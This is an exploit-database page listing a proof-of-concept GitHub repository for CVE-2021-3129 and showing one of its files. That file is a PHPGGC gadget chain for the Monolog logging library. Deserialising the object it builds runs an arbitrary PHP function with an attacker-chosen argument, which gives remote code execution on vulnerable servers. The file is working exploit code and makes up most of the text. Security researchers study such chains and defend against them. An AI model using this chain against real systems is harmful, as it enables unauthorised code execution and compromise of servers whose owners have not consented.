Exploit database

GH-7c3f210736b96137d01066be808bddae

0x0d3ad/cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
0x0d3ad/cve-2021-3129Revision baf217c497da

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/Monolog/RCE/3/chain.php

PHP · 532 bytes
<?php

namespace GadgetChain\Monolog;

class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '1.1.0 <= 1.10.0';
    public static $vector = '__destruct';
    public static $author = 'theBumble';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \Monolog\Handler\BufferHandler(
                ['current', $function],
                [$parameter, 'level' => null]
        );
    }
}